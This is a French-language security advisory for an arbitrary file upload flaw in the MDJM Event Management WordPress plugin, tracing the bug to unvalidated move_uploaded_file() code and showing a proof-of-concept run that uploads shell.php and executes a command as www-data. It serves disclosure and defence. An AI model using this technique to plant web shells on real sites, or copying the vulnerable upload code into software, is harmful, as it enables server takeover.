
MDJM Event Management <= 1.7.8.3 - Authentifié (Administrateur+) Téléversement de fichier arbitraire via le paramètre 'mdjm_email_upload_file'
Le plugin WordPress MDJM Event Management (versions 1.7.8.3 et antérieures) contient une vulnérabilité de téléchargement arbitraire de fichier qui permet à des administrateurs authentifiés de télécharger des fichiers PHP malveillants sur le serveur, pouvant conduire à une exécution de code à distance.
Un POC CVE-2026-7537.py est fourni pour démontrer qu'un attaquant authentifié télécharge shell.php et exécute du code à distance :
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
La vulnérabilité existe dans la fonction mdjm_send_comm_email() de la fonctionnalité de communications. La fonctionnalité de téléchargement manque de validation appropriée des fichiers lors du traitement des pièces jointes pour les communications par e-mail. Cela permet aux utilisateurs authentifiés disposant de la capacité mdjm_comms_send (administrateurs et administrateurs MDJM par défaut) de télécharger des fichiers arbitraires, y compris des fichiers PHP pouvant être exécutés sur le serveur.
Source : entrée utilisateur de $_FILES['mdjm_email_upload_file']
Puits : move_uploaded_file($tmp_path, $file_path) dans comms-functions.php#L248
La vulnérabilité se produit car :
send_comms via comms-functions.php#L24.mdjm_comms_send est accordée aux utilisateurs disposant de la permission manage_mdjm via class-mdjm-permissions.php#L626.mdjm_comms_send par défaut - seuls les administrateurs l'ont.mdjm_process_actions() dans admin-actions.php#L26.mdjm_send_comm_email() enregistrée dans comms-functions.php#L300.$_FILES['mdjm_email_upload_file'] sont traitées directement sans validation dans comms-functions.php#L241-L251./wp-content/uploads/YYYY/MM/) en utilisant move_uploaded_file() sans aucune vérification de sécurité.Fichier : includes/admin/communications/comms-functions.php#L241-L251
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
$upload_dir = wp_upload_dir();
$file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
$file_path = $upload_dir['path'] . '/' . $file_name;
$tmp_path = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
if ( move_uploaded_file( $tmp_path, $file_path ) ) {
$attachments[] = $file_path;
}
}